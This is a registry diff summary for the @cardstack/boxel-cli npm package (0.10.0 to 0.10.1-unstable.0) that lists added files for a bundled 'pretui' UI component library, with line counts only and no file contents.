@cardstack/boxel-cli 0.10.0 → 0.10.1-unstable.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-realms/pretui/README.md +49 -0
- package/bundled-realms/pretui/color/LICENSE +21 -0
- package/bundled-realms/pretui/color/README.md +155 -0
- package/bundled-realms/pretui/color/index.js +78 -0
- package/bundled-realms/pretui/color-engine.ts +1243 -0
- package/bundled-realms/pretui/components/accordion.gts +58 -0
- package/bundled-realms/pretui/components/accordion.md +60 -0
- package/bundled-realms/pretui/components/accordion.usage.gts +129 -0
- package/bundled-realms/pretui/components/action-bar.gts +407 -0
- package/bundled-realms/pretui/components/action-bar.md +48 -0
- package/bundled-realms/pretui/components/action-bar.usage.gts +213 -0
- package/bundled-realms/pretui/components/affix.gts +116 -0
- package/bundled-realms/pretui/components/affix.md +54 -0
- package/bundled-realms/pretui/components/affix.usage.gts +73 -0
- package/bundled-realms/pretui/components/agent-question.gts +116 -0
- package/bundled-realms/pretui/components/agent-question.md +50 -0
- package/bundled-realms/pretui/components/agent-question.usage.gts +22 -0
- package/bundled-realms/pretui/components/ai-instructions.gts +378 -0
- package/bundled-realms/pretui/components/ai-instructions.md +49 -0
- package/bundled-realms/pretui/components/ai-instructions.usage.gts +101 -0
- package/bundled-realms/pretui/components/alert-dialog.gts +223 -0
- package/bundled-realms/pretui/components/alert-dialog.md +76 -0
- package/bundled-realms/pretui/components/alert-dialog.usage.gts +128 -0
- package/bundled-realms/pretui/components/alert.gts +163 -0
- package/bundled-realms/pretui/components/alert.md +57 -0
- package/bundled-realms/pretui/components/alert.usage.gts +99 -0
- package/bundled-realms/pretui/components/amount-input.gts +621 -0
- package/bundled-realms/pretui/components/amount-input.md +63 -0
- package/bundled-realms/pretui/components/amount-input.usage.gts +170 -0
- package/bundled-realms/pretui/components/angle-dial.gts +367 -0
- package/bundled-realms/pretui/components/angle-dial.md +56 -0
- package/bundled-realms/pretui/components/angle-dial.usage.gts +166 -0
- package/bundled-realms/pretui/components/animated-image.gts +291 -0
- package/bundled-realms/pretui/components/animated-image.md +49 -0
- package/bundled-realms/pretui/components/animated-image.usage.gts +127 -0
- package/bundled-realms/pretui/components/app-shell.gts +19 -0
- package/bundled-realms/pretui/components/app-shell.md +43 -0
- package/bundled-realms/pretui/components/app-shell.usage.gts +52 -0
- package/bundled-realms/pretui/components/approval-footer.gts +69 -0
- package/bundled-realms/pretui/components/approval-footer.md +49 -0
- package/bundled-realms/pretui/components/approval-footer.usage.gts +22 -0
- package/bundled-realms/pretui/components/aspect-ratio.gts +328 -0
- package/bundled-realms/pretui/components/aspect-ratio.md +72 -0
- package/bundled-realms/pretui/components/aspect-ratio.usage.gts +174 -0
- package/bundled-realms/pretui/components/asset-grid.gts +542 -0
- package/bundled-realms/pretui/components/asset-grid.md +54 -0
- package/bundled-realms/pretui/components/asset-grid.usage.gts +171 -0
- package/bundled-realms/pretui/components/asset-well.gts +731 -0
- package/bundled-realms/pretui/components/asset-well.md +72 -0
- package/bundled-realms/pretui/components/asset-well.usage.gts +264 -0
- package/bundled-realms/pretui/components/audio-player.gts +152 -0
- package/bundled-realms/pretui/components/audio-player.md +51 -0
- package/bundled-realms/pretui/components/audio-player.usage.gts +118 -0
- package/bundled-realms/pretui/components/autocomplete.gts +1150 -0
- package/bundled-realms/pretui/components/autocomplete.md +67 -0
- package/bundled-realms/pretui/components/autocomplete.usage.gts +339 -0
- package/bundled-realms/pretui/components/avatar-group.gts +30 -0
- package/bundled-realms/pretui/components/avatar-group.md +48 -0
- package/bundled-realms/pretui/components/avatar-group.usage.gts +39 -0
- package/bundled-realms/pretui/components/avatar.gts +134 -0
- package/bundled-realms/pretui/components/avatar.md +69 -0
- package/bundled-realms/pretui/components/avatar.usage.gts +101 -0
- package/bundled-realms/pretui/components/backdrop.gts +179 -0
- package/bundled-realms/pretui/components/backdrop.md +56 -0
- package/bundled-realms/pretui/components/backdrop.usage.gts +223 -0
- package/bundled-realms/pretui/components/background-field.gts +743 -0
- package/bundled-realms/pretui/components/background-field.md +62 -0
- package/bundled-realms/pretui/components/background-field.usage.gts +328 -0
- package/bundled-realms/pretui/components/badge.gts +188 -0
- package/bundled-realms/pretui/components/badge.md +62 -0
- package/bundled-realms/pretui/components/badge.usage.gts +73 -0
- package/bundled-realms/pretui/components/bar-list.gts +255 -0
- package/bundled-realms/pretui/components/bar-list.md +49 -0
- package/bundled-realms/pretui/components/bar-list.usage.gts +129 -0
- package/bundled-realms/pretui/components/board.gts +108 -0
- package/bundled-realms/pretui/components/board.md +54 -0
- package/bundled-realms/pretui/components/board.usage.gts +321 -0
- package/bundled-realms/pretui/components/bottom-nav.gts +217 -0
- package/bundled-realms/pretui/components/bottom-nav.md +64 -0
- package/bundled-realms/pretui/components/bottom-nav.usage.gts +68 -0
- package/bundled-realms/pretui/components/breadcrumb.gts +56 -0
- package/bundled-realms/pretui/components/breadcrumb.md +52 -0
- package/bundled-realms/pretui/components/breadcrumb.usage.gts +24 -0
- package/bundled-realms/pretui/components/broken-link.gts +46 -0
- package/bundled-realms/pretui/components/broken-link.md +50 -0
- package/bundled-realms/pretui/components/broken-link.usage.gts +57 -0
- package/bundled-realms/pretui/components/button-group.gts +246 -0
- package/bundled-realms/pretui/components/button-group.md +46 -0
- package/bundled-realms/pretui/components/button-group.usage.gts +137 -0
- package/bundled-realms/pretui/components/button.examples.gts +67 -0
- package/bundled-realms/pretui/components/button.gts +594 -0
- package/bundled-realms/pretui/components/button.md +81 -0
- package/bundled-realms/pretui/components/button.usage.gts +159 -0
- package/bundled-realms/pretui/components/calendar.gts +457 -0
- package/bundled-realms/pretui/components/calendar.md +57 -0
- package/bundled-realms/pretui/components/calendar.usage.gts +161 -0
- package/bundled-realms/pretui/components/callout.gts +2 -0
- package/bundled-realms/pretui/components/callout.md +40 -0
- package/bundled-realms/pretui/components/callout.usage.gts +48 -0
- package/bundled-realms/pretui/components/card.gts +637 -0
- package/bundled-realms/pretui/components/card.md +105 -0
- package/bundled-realms/pretui/components/card.usage.gts +279 -0
- package/bundled-realms/pretui/components/carousel.gts +583 -0
- package/bundled-realms/pretui/components/carousel.md +53 -0
- package/bundled-realms/pretui/components/carousel.usage.gts +220 -0
- package/bundled-realms/pretui/components/cascader.gts +436 -0
- package/bundled-realms/pretui/components/cascader.md +61 -0
- package/bundled-realms/pretui/components/cascader.usage.gts +79 -0
- package/bundled-realms/pretui/components/channel-slider.gts +251 -0
- package/bundled-realms/pretui/components/channel-slider.md +51 -0
- package/bundled-realms/pretui/components/channel-slider.usage.gts +104 -0
- package/bundled-realms/pretui/components/chart.gts +1011 -0
- package/bundled-realms/pretui/components/chart.md +60 -0
- package/bundled-realms/pretui/components/chart.usage.gts +660 -0
- package/bundled-realms/pretui/components/checkbox-card.gts +82 -0
- package/bundled-realms/pretui/components/checkbox-card.md +73 -0
- package/bundled-realms/pretui/components/checkbox-card.usage.gts +114 -0
- package/bundled-realms/pretui/components/checkbox.examples.gts +61 -0
- package/bundled-realms/pretui/components/checkbox.gts +123 -0
- package/bundled-realms/pretui/components/checkbox.md +55 -0
- package/bundled-realms/pretui/components/checkbox.usage.gts +31 -0
- package/bundled-realms/pretui/components/chip.gts +136 -0
- package/bundled-realms/pretui/components/chip.md +54 -0
- package/bundled-realms/pretui/components/chip.usage.gts +97 -0
- package/bundled-realms/pretui/components/code-block.gts +888 -0
- package/bundled-realms/pretui/components/code-block.md +61 -0
- package/bundled-realms/pretui/components/code-block.usage.gts +374 -0
- package/bundled-realms/pretui/components/collapsed-turn.gts +44 -0
- package/bundled-realms/pretui/components/collapsed-turn.md +48 -0
- package/bundled-realms/pretui/components/collapsed-turn.usage.gts +21 -0
- package/bundled-realms/pretui/components/collapsible.gts +283 -0
- package/bundled-realms/pretui/components/collapsible.md +69 -0
- package/bundled-realms/pretui/components/collapsible.usage.gts +173 -0
- package/bundled-realms/pretui/components/color-area.gts +339 -0
- package/bundled-realms/pretui/components/color-area.md +49 -0
- package/bundled-realms/pretui/components/color-area.usage.gts +72 -0
- package/bundled-realms/pretui/components/color-field.gts +179 -0
- package/bundled-realms/pretui/components/color-field.md +47 -0
- package/bundled-realms/pretui/components/color-field.usage.gts +87 -0
- package/bundled-realms/pretui/components/color-palette.gts +198 -0
- package/bundled-realms/pretui/components/color-palette.md +48 -0
- package/bundled-realms/pretui/components/color-picker.gts +721 -0
- package/bundled-realms/pretui/components/color-picker.md +59 -0
- package/bundled-realms/pretui/components/color-picker.usage.gts +122 -0
- package/bundled-realms/pretui/components/color-stop-editor.gts +184 -0
- package/bundled-realms/pretui/components/color-stop-editor.md +46 -0
- package/bundled-realms/pretui/components/color-stop-editor.usage.gts +75 -0
- package/bundled-realms/pretui/components/combobox.gts +333 -0
- package/bundled-realms/pretui/components/combobox.md +49 -0
- package/bundled-realms/pretui/components/combobox.usage.gts +143 -0
- package/bundled-realms/pretui/components/command-palette.gts +982 -0
- package/bundled-realms/pretui/components/command-palette.md +47 -0
- package/bundled-realms/pretui/components/command-palette.usage.gts +95 -0
- package/bundled-realms/pretui/components/command.gts +2 -0
- package/bundled-realms/pretui/components/command.md +45 -0
- package/bundled-realms/pretui/components/command.usage.gts +58 -0
- package/bundled-realms/pretui/components/compaction-chip.gts +273 -0
- package/bundled-realms/pretui/components/compaction-chip.md +45 -0
- package/bundled-realms/pretui/components/compaction-chip.usage.gts +110 -0
- package/bundled-realms/pretui/components/comparison.gts +223 -0
- package/bundled-realms/pretui/components/comparison.md +46 -0
- package/bundled-realms/pretui/components/comparison.usage.gts +148 -0
- package/bundled-realms/pretui/components/composer.gts +566 -0
- package/bundled-realms/pretui/components/composer.md +59 -0
- package/bundled-realms/pretui/components/composer.usage.gts +173 -0
- package/bundled-realms/pretui/components/compound-field.gts +289 -0
- package/bundled-realms/pretui/components/compound-field.md +66 -0
- package/bundled-realms/pretui/components/compound-field.usage.gts +378 -0
- package/bundled-realms/pretui/components/contact-link.gts +583 -0
- package/bundled-realms/pretui/components/contact-link.md +53 -0
- package/bundled-realms/pretui/components/contact-link.usage.gts +273 -0
- package/bundled-realms/pretui/components/context-menu.gts +811 -0
- package/bundled-realms/pretui/components/context-menu.md +74 -0
- package/bundled-realms/pretui/components/context-menu.usage.gts +244 -0
- package/bundled-realms/pretui/components/copy-button.gts +237 -0
- package/bundled-realms/pretui/components/copy-button.md +71 -0
- package/bundled-realms/pretui/components/copy-button.usage.gts +135 -0
- package/bundled-realms/pretui/components/copy-fit.gts +396 -0
- package/bundled-realms/pretui/components/copy-fit.md +60 -0
- package/bundled-realms/pretui/components/copy-fit.usage.gts +200 -0
- package/bundled-realms/pretui/components/cta-band.gts +285 -0
- package/bundled-realms/pretui/components/cta-band.md +50 -0
- package/bundled-realms/pretui/components/cta-band.usage.gts +208 -0
- package/bundled-realms/pretui/components/cue.gts +180 -0
- package/bundled-realms/pretui/components/cue.md +53 -0
- package/bundled-realms/pretui/components/cue.usage.gts +88 -0
- package/bundled-realms/pretui/components/cursor-trail.gts +221 -0
- package/bundled-realms/pretui/components/cursor-trail.md +56 -0
- package/bundled-realms/pretui/components/cursor-trail.usage.gts +218 -0
- package/bundled-realms/pretui/components/dashboard-grid.gts +939 -0
- package/bundled-realms/pretui/components/dashboard-grid.md +60 -0
- package/bundled-realms/pretui/components/dashboard-grid.usage.gts +307 -0
- package/bundled-realms/pretui/components/dashboard-item.gts +286 -0
- package/bundled-realms/pretui/components/dashboard-item.md +52 -0
- package/bundled-realms/pretui/components/dashboard-item.usage.gts +87 -0
- package/bundled-realms/pretui/components/data-grid.gts +263 -0
- package/bundled-realms/pretui/components/data-grid.md +64 -0
- package/bundled-realms/pretui/components/data-grid.usage.gts +50 -0
- package/bundled-realms/pretui/components/data-table.gts +1618 -0
- package/bundled-realms/pretui/components/data-table.md +104 -0
- package/bundled-realms/pretui/components/data-table.usage.gts +324 -0
- package/bundled-realms/pretui/components/date-picker.gts +98 -0
- package/bundled-realms/pretui/components/date-picker.md +59 -0
- package/bundled-realms/pretui/components/date-picker.usage.gts +66 -0
- package/bundled-realms/pretui/components/date-range-picker.gts +131 -0
- package/bundled-realms/pretui/components/date-range-picker.md +55 -0
- package/bundled-realms/pretui/components/date-range-picker.usage.gts +125 -0
- package/bundled-realms/pretui/components/date-time-picker.gts +227 -0
- package/bundled-realms/pretui/components/date-time-picker.md +60 -0
- package/bundled-realms/pretui/components/date-time-picker.usage.gts +64 -0
- package/bundled-realms/pretui/components/defer.gts +374 -0
- package/bundled-realms/pretui/components/defer.md +61 -0
- package/bundled-realms/pretui/components/defer.usage.gts +174 -0
- package/bundled-realms/pretui/components/delta.gts +45 -0
- package/bundled-realms/pretui/components/delta.md +53 -0
- package/bundled-realms/pretui/components/delta.usage.gts +31 -0
- package/bundled-realms/pretui/components/descriptions.gts +365 -0
- package/bundled-realms/pretui/components/descriptions.md +73 -0
- package/bundled-realms/pretui/components/descriptions.usage.gts +123 -0
- package/bundled-realms/pretui/components/dialog.gts +153 -0
- package/bundled-realms/pretui/components/dialog.md +60 -0
- package/bundled-realms/pretui/components/dialog.usage.gts +86 -0
- package/bundled-realms/pretui/components/diff-block.gts +89 -0
- package/bundled-realms/pretui/components/diff-block.md +51 -0
- package/bundled-realms/pretui/components/diff-block.usage.gts +27 -0
- package/bundled-realms/pretui/components/disclosure.gts +2 -0
- package/bundled-realms/pretui/components/disclosure.md +45 -0
- package/bundled-realms/pretui/components/disclosure.usage.gts +47 -0
- package/bundled-realms/pretui/components/divider.gts +75 -0
- package/bundled-realms/pretui/components/divider.md +49 -0
- package/bundled-realms/pretui/components/divider.usage.gts +98 -0
- package/bundled-realms/pretui/components/doc-report.gts +306 -0
- package/bundled-realms/pretui/components/doc-report.md +45 -0
- package/bundled-realms/pretui/components/doc-report.usage.gts +126 -0
- package/bundled-realms/pretui/components/dock.gts +165 -0
- package/bundled-realms/pretui/components/dock.md +42 -0
- package/bundled-realms/pretui/components/dock.usage.gts +114 -0
- package/bundled-realms/pretui/components/drawer.gts +166 -0
- package/bundled-realms/pretui/components/drawer.md +66 -0
- package/bundled-realms/pretui/components/drawer.usage.gts +111 -0
- package/bundled-realms/pretui/components/dropzone.gts +314 -0
- package/bundled-realms/pretui/components/dropzone.md +56 -0
- package/bundled-realms/pretui/components/dropzone.usage.gts +203 -0
- package/bundled-realms/pretui/components/dueling-picklist.gts +991 -0
- package/bundled-realms/pretui/components/dueling-picklist.md +67 -0
- package/bundled-realms/pretui/components/dueling-picklist.usage.gts +182 -0
- package/bundled-realms/pretui/components/dynamic-island.gts +264 -0
- package/bundled-realms/pretui/components/dynamic-island.md +45 -0
- package/bundled-realms/pretui/components/dynamic-island.usage.gts +195 -0
- package/bundled-realms/pretui/components/easing-curve.gts +629 -0
- package/bundled-realms/pretui/components/easing-curve.md +46 -0
- package/bundled-realms/pretui/components/easing-curve.usage.gts +122 -0
- package/bundled-realms/pretui/components/edit-in-place.gts +559 -0
- package/bundled-realms/pretui/components/edit-in-place.md +63 -0
- package/bundled-realms/pretui/components/edit-in-place.usage.gts +209 -0
- package/bundled-realms/pretui/components/editable.gts +299 -0
- package/bundled-realms/pretui/components/editable.md +79 -0
- package/bundled-realms/pretui/components/editable.usage.gts +68 -0
- package/bundled-realms/pretui/components/email-input.gts +83 -0
- package/bundled-realms/pretui/components/email-input.md +52 -0
- package/bundled-realms/pretui/components/email-input.usage.gts +90 -0
- package/bundled-realms/pretui/components/emoji-button.gts +162 -0
- package/bundled-realms/pretui/components/emoji-button.md +46 -0
- package/bundled-realms/pretui/components/emoji-button.usage.gts +174 -0
- package/bundled-realms/pretui/components/emoji-picker.gts +1396 -0
- package/bundled-realms/pretui/components/emoji-picker.md +53 -0
- package/bundled-realms/pretui/components/emoji-picker.usage.gts +235 -0
- package/bundled-realms/pretui/components/empty-state.gts +162 -0
- package/bundled-realms/pretui/components/empty-state.md +63 -0
- package/bundled-realms/pretui/components/empty-state.usage.gts +113 -0
- package/bundled-realms/pretui/components/empty.gts +2 -0
- package/bundled-realms/pretui/components/empty.md +43 -0
- package/bundled-realms/pretui/components/empty.usage.gts +33 -0
- package/bundled-realms/pretui/components/entity-display.gts +126 -0
- package/bundled-realms/pretui/components/entity-display.md +50 -0
- package/bundled-realms/pretui/components/error-summary.gts +321 -0
- package/bundled-realms/pretui/components/error-summary.md +60 -0
- package/bundled-realms/pretui/components/error-summary.usage.gts +155 -0
- package/bundled-realms/pretui/components/expression-builder.gts +1211 -0
- package/bundled-realms/pretui/components/expression-builder.md +60 -0
- package/bundled-realms/pretui/components/expression-builder.usage.gts +246 -0
- package/bundled-realms/pretui/components/fab.gts +2 -0
- package/bundled-realms/pretui/components/fab.md +38 -0
- package/bundled-realms/pretui/components/fab.usage.gts +38 -0
- package/bundled-realms/pretui/components/feature-voting.gts +365 -0
- package/bundled-realms/pretui/components/feature-voting.md +44 -0
- package/bundled-realms/pretui/components/feature-voting.usage.gts +114 -0
- package/bundled-realms/pretui/components/feed.gts +244 -0
- package/bundled-realms/pretui/components/feed.md +56 -0
- package/bundled-realms/pretui/components/feed.usage.gts +250 -0
- package/bundled-realms/pretui/components/field-error.gts +127 -0
- package/bundled-realms/pretui/components/field-error.md +60 -0
- package/bundled-realms/pretui/components/field-error.usage.gts +146 -0
- package/bundled-realms/pretui/components/field.gts +185 -0
- package/bundled-realms/pretui/components/field.md +60 -0
- package/bundled-realms/pretui/components/field.usage.gts +73 -0
- package/bundled-realms/pretui/components/fieldset.gts +124 -0
- package/bundled-realms/pretui/components/fieldset.md +65 -0
- package/bundled-realms/pretui/components/fieldset.usage.gts +105 -0
- package/bundled-realms/pretui/components/file-trigger.gts +185 -0
- package/bundled-realms/pretui/components/file-trigger.md +53 -0
- package/bundled-realms/pretui/components/file-trigger.usage.gts +121 -0
- package/bundled-realms/pretui/components/file-upload.gts +353 -0
- package/bundled-realms/pretui/components/file-upload.md +63 -0
- package/bundled-realms/pretui/components/file-upload.usage.gts +64 -0
- package/bundled-realms/pretui/components/filmstrip.gts +465 -0
- package/bundled-realms/pretui/components/filmstrip.md +53 -0
- package/bundled-realms/pretui/components/filmstrip.usage.gts +115 -0
- package/bundled-realms/pretui/components/filter-chips.gts +236 -0
- package/bundled-realms/pretui/components/filter-chips.md +58 -0
- package/bundled-realms/pretui/components/filter-chips.usage.gts +102 -0
- package/bundled-realms/pretui/components/filter-set.gts +293 -0
- package/bundled-realms/pretui/components/filter-set.md +60 -0
- package/bundled-realms/pretui/components/filter-set.usage.gts +145 -0
- package/bundled-realms/pretui/components/float-button.gts +339 -0
- package/bundled-realms/pretui/components/float-button.md +69 -0
- package/bundled-realms/pretui/components/float-button.usage.gts +134 -0
- package/bundled-realms/pretui/components/fold.gts +86 -0
- package/bundled-realms/pretui/components/fold.md +54 -0
- package/bundled-realms/pretui/components/fold.usage.gts +19 -0
- package/bundled-realms/pretui/components/form-field.gts +609 -0
- package/bundled-realms/pretui/components/form-field.md +77 -0
- package/bundled-realms/pretui/components/form-field.usage.gts +279 -0
- package/bundled-realms/pretui/components/form-footer.gts +246 -0
- package/bundled-realms/pretui/components/form-footer.md +59 -0
- package/bundled-realms/pretui/components/form-footer.usage.gts +217 -0
- package/bundled-realms/pretui/components/form-layout.gts +130 -0
- package/bundled-realms/pretui/components/form-layout.md +52 -0
- package/bundled-realms/pretui/components/form-layout.usage.gts +200 -0
- package/bundled-realms/pretui/components/form-section.gts +434 -0
- package/bundled-realms/pretui/components/form-section.md +67 -0
- package/bundled-realms/pretui/components/form-section.usage.gts +402 -0
- package/bundled-realms/pretui/components/form.gts +315 -0
- package/bundled-realms/pretui/components/form.md +82 -0
- package/bundled-realms/pretui/components/form.usage.gts +306 -0
- package/bundled-realms/pretui/components/format-bytes.gts +212 -0
- package/bundled-realms/pretui/components/format-bytes.md +47 -0
- package/bundled-realms/pretui/components/format-bytes.usage.gts +274 -0
- package/bundled-realms/pretui/components/format-date.gts +249 -0
- package/bundled-realms/pretui/components/format-date.md +55 -0
- package/bundled-realms/pretui/components/format-date.usage.gts +245 -0
- package/bundled-realms/pretui/components/format-number.gts +138 -0
- package/bundled-realms/pretui/components/format-number.md +51 -0
- package/bundled-realms/pretui/components/format-number.usage.gts +261 -0
- package/bundled-realms/pretui/components/formatted-value.gts +65 -0
- package/bundled-realms/pretui/components/freestyle-usage.gts +311 -0
- package/bundled-realms/pretui/components/freestyle-usage.md +49 -0
- package/bundled-realms/pretui/components/gallery.gts +819 -0
- package/bundled-realms/pretui/components/gallery.md +65 -0
- package/bundled-realms/pretui/components/gallery.usage.gts +212 -0
- package/bundled-realms/pretui/components/gradient-editor.gts +682 -0
- package/bundled-realms/pretui/components/gradient-editor.md +43 -0
- package/bundled-realms/pretui/components/gradient-editor.usage.gts +69 -0
- package/bundled-realms/pretui/components/graph-layout.md +54 -0
- package/bundled-realms/pretui/components/graph-layout.usage.gts +343 -0
- package/bundled-realms/pretui/components/graph-outline.gts +553 -0
- package/bundled-realms/pretui/components/graph-outline.md +50 -0
- package/bundled-realms/pretui/components/graph-outline.usage.gts +88 -0
- package/bundled-realms/pretui/components/grid.gts +68 -0
- package/bundled-realms/pretui/components/grid.md +54 -0
- package/bundled-realms/pretui/components/grid.usage.gts +144 -0
- package/bundled-realms/pretui/components/handle.gts +192 -0
- package/bundled-realms/pretui/components/handle.md +55 -0
- package/bundled-realms/pretui/components/handle.usage.gts +174 -0
- package/bundled-realms/pretui/components/hero-split.gts +307 -0
- package/bundled-realms/pretui/components/hero-split.md +50 -0
- package/bundled-realms/pretui/components/hero-split.usage.gts +200 -0
- package/bundled-realms/pretui/components/hover-actions.gts +485 -0
- package/bundled-realms/pretui/components/hover-actions.md +55 -0
- package/bundled-realms/pretui/components/hover-actions.usage.gts +224 -0
- package/bundled-realms/pretui/components/hover-card.gts +347 -0
- package/bundled-realms/pretui/components/hover-card.md +72 -0
- package/bundled-realms/pretui/components/hover-card.usage.gts +174 -0
- package/bundled-realms/pretui/components/hover-video-player.gts +315 -0
- package/bundled-realms/pretui/components/hover-video-player.md +57 -0
- package/bundled-realms/pretui/components/hover-video-player.usage.gts +152 -0
- package/bundled-realms/pretui/components/icon-button.examples.gts +69 -0
- package/bundled-realms/pretui/components/icon-button.gts +153 -0
- package/bundled-realms/pretui/components/icon-button.md +72 -0
- package/bundled-realms/pretui/components/icon-button.usage.gts +208 -0
- package/bundled-realms/pretui/components/image-cropper.gts +693 -0
- package/bundled-realms/pretui/components/image-cropper.md +52 -0
- package/bundled-realms/pretui/components/image-cropper.usage.gts +108 -0
- package/bundled-realms/pretui/components/image-frame.gts +91 -0
- package/bundled-realms/pretui/components/image-frame.md +42 -0
- package/bundled-realms/pretui/components/image-frame.usage.gts +28 -0
- package/bundled-realms/pretui/components/image.gts +326 -0
- package/bundled-realms/pretui/components/image.md +71 -0
- package/bundled-realms/pretui/components/image.usage.gts +126 -0
- package/bundled-realms/pretui/components/in-view.gts +245 -0
- package/bundled-realms/pretui/components/in-view.md +53 -0
- package/bundled-realms/pretui/components/in-view.usage.gts +264 -0
- package/bundled-realms/pretui/components/indicator.gts +137 -0
- package/bundled-realms/pretui/components/indicator.md +60 -0
- package/bundled-realms/pretui/components/indicator.usage.gts +66 -0
- package/bundled-realms/pretui/components/infinite-scroll.gts +163 -0
- package/bundled-realms/pretui/components/infinite-scroll.md +54 -0
- package/bundled-realms/pretui/components/infinite-scroll.usage.gts +73 -0
- package/bundled-realms/pretui/components/input-group.gts +264 -0
- package/bundled-realms/pretui/components/input-group.md +55 -0
- package/bundled-realms/pretui/components/input-group.usage.gts +283 -0
- package/bundled-realms/pretui/components/input.examples.gts +61 -0
- package/bundled-realms/pretui/components/input.gts +202 -0
- package/bundled-realms/pretui/components/input.md +67 -0
- package/bundled-realms/pretui/components/input.usage.gts +208 -0
- package/bundled-realms/pretui/components/interactive-input.gts +343 -0
- package/bundled-realms/pretui/components/interactive-input.md +45 -0
- package/bundled-realms/pretui/components/interactive-input.usage.gts +98 -0
- package/bundled-realms/pretui/components/item.gts +218 -0
- package/bundled-realms/pretui/components/item.md +66 -0
- package/bundled-realms/pretui/components/item.usage.gts +121 -0
- package/bundled-realms/pretui/components/joystick.gts +381 -0
- package/bundled-realms/pretui/components/joystick.md +52 -0
- package/bundled-realms/pretui/components/joystick.usage.gts +140 -0
- package/bundled-realms/pretui/components/json-editor.gts +1016 -0
- package/bundled-realms/pretui/components/json-editor.md +51 -0
- package/bundled-realms/pretui/components/json-editor.usage.gts +230 -0
- package/bundled-realms/pretui/components/json-tree.gts +596 -0
- package/bundled-realms/pretui/components/json-tree.md +52 -0
- package/bundled-realms/pretui/components/json-tree.usage.gts +217 -0
- package/bundled-realms/pretui/components/jump-chip.gts +230 -0
- package/bundled-realms/pretui/components/jump-chip.md +44 -0
- package/bundled-realms/pretui/components/jump-chip.usage.gts +151 -0
- package/bundled-realms/pretui/components/kbd.gts +60 -0
- package/bundled-realms/pretui/components/kbd.md +50 -0
- package/bundled-realms/pretui/components/kbd.usage.gts +98 -0
- package/bundled-realms/pretui/components/key-value.gts +150 -0
- package/bundled-realms/pretui/components/key-value.md +81 -0
- package/bundled-realms/pretui/components/key-value.usage.gts +125 -0
- package/bundled-realms/pretui/components/known-date.gts +770 -0
- package/bundled-realms/pretui/components/known-date.md +56 -0
- package/bundled-realms/pretui/components/known-date.usage.gts +192 -0
- package/bundled-realms/pretui/components/label.gts +60 -0
- package/bundled-realms/pretui/components/label.md +56 -0
- package/bundled-realms/pretui/components/label.usage.gts +63 -0
- package/bundled-realms/pretui/components/layer-manager.gts +1884 -0
- package/bundled-realms/pretui/components/layer-manager.md +59 -0
- package/bundled-realms/pretui/components/layer-manager.usage.gts +233 -0
- package/bundled-realms/pretui/components/lightbox.gts +461 -0
- package/bundled-realms/pretui/components/lightbox.md +57 -0
- package/bundled-realms/pretui/components/lightbox.usage.gts +180 -0
- package/bundled-realms/pretui/components/line-grid.examples.gts +156 -0
- package/bundled-realms/pretui/components/line-grid.gts +523 -0
- package/bundled-realms/pretui/components/line-grid.md +55 -0
- package/bundled-realms/pretui/components/line-grid.usage.gts +181 -0
- package/bundled-realms/pretui/components/list.gts +679 -0
- package/bundled-realms/pretui/components/list.md +90 -0
- package/bundled-realms/pretui/components/list.usage.gts +203 -0
- package/bundled-realms/pretui/components/loader.gts +2 -0
- package/bundled-realms/pretui/components/loader.md +33 -0
- package/bundled-realms/pretui/components/loader.usage.gts +35 -0
- package/bundled-realms/pretui/components/loading-overlay.gts +120 -0
- package/bundled-realms/pretui/components/loading-overlay.md +68 -0
- package/bundled-realms/pretui/components/loading-overlay.usage.gts +102 -0
- package/bundled-realms/pretui/components/loading-state.gts +124 -0
- package/bundled-realms/pretui/components/loading-state.md +48 -0
- package/bundled-realms/pretui/components/loading-state.usage.gts +16 -0
- package/bundled-realms/pretui/components/lookup.gts +451 -0
- package/bundled-realms/pretui/components/lookup.md +59 -0
- package/bundled-realms/pretui/components/lookup.usage.gts +235 -0
- package/bundled-realms/pretui/components/magnetic.gts +158 -0
- package/bundled-realms/pretui/components/magnetic.md +48 -0
- package/bundled-realms/pretui/components/magnetic.usage.gts +125 -0
- package/bundled-realms/pretui/components/marquee.gts +141 -0
- package/bundled-realms/pretui/components/marquee.md +43 -0
- package/bundled-realms/pretui/components/marquee.usage.gts +116 -0
- package/bundled-realms/pretui/components/masonry.gts +95 -0
- package/bundled-realms/pretui/components/masonry.md +59 -0
- package/bundled-realms/pretui/components/masonry.usage.gts +238 -0
- package/bundled-realms/pretui/components/media-inspector.gts +145 -0
- package/bundled-realms/pretui/components/media-inspector.md +46 -0
- package/bundled-realms/pretui/components/media-inspector.usage.gts +83 -0
- package/bundled-realms/pretui/components/media-player.gts +1133 -0
- package/bundled-realms/pretui/components/media-player.md +74 -0
- package/bundled-realms/pretui/components/media-player.usage.gts +265 -0
- package/bundled-realms/pretui/components/media-viewer.gts +136 -0
- package/bundled-realms/pretui/components/media-viewer.md +47 -0
- package/bundled-realms/pretui/components/media-viewer.usage.gts +70 -0
- package/bundled-realms/pretui/components/mentions.gts +340 -0
- package/bundled-realms/pretui/components/mentions.md +65 -0
- package/bundled-realms/pretui/components/mentions.usage.gts +73 -0
- package/bundled-realms/pretui/components/menu-panel.gts +367 -0
- package/bundled-realms/pretui/components/menu.gts +652 -0
- package/bundled-realms/pretui/components/menu.md +69 -0
- package/bundled-realms/pretui/components/menu.usage.gts +116 -0
- package/bundled-realms/pretui/components/menubar.gts +1200 -0
- package/bundled-realms/pretui/components/menubar.md +49 -0
- package/bundled-realms/pretui/components/menubar.usage.gts +220 -0
- package/bundled-realms/pretui/components/meter.gts +113 -0
- package/bundled-realms/pretui/components/meter.md +50 -0
- package/bundled-realms/pretui/components/meter.usage.gts +50 -0
- package/bundled-realms/pretui/components/modal.gts +2 -0
- package/bundled-realms/pretui/components/modal.md +41 -0
- package/bundled-realms/pretui/components/modal.usage.gts +50 -0
- package/bundled-realms/pretui/components/model-viewer.gts +658 -0
- package/bundled-realms/pretui/components/model-viewer.md +57 -0
- package/bundled-realms/pretui/components/model-viewer.usage.gts +123 -0
- package/bundled-realms/pretui/components/money-input.gts +66 -0
- package/bundled-realms/pretui/components/money-input.md +43 -0
- package/bundled-realms/pretui/components/money-input.usage.gts +293 -0
- package/bundled-realms/pretui/components/morphing-dialog.gts +173 -0
- package/bundled-realms/pretui/components/morphing-dialog.md +46 -0
- package/bundled-realms/pretui/components/morphing-dialog.usage.gts +168 -0
- package/bundled-realms/pretui/components/morphing-popover.gts +245 -0
- package/bundled-realms/pretui/components/morphing-popover.md +47 -0
- package/bundled-realms/pretui/components/morphing-popover.usage.gts +176 -0
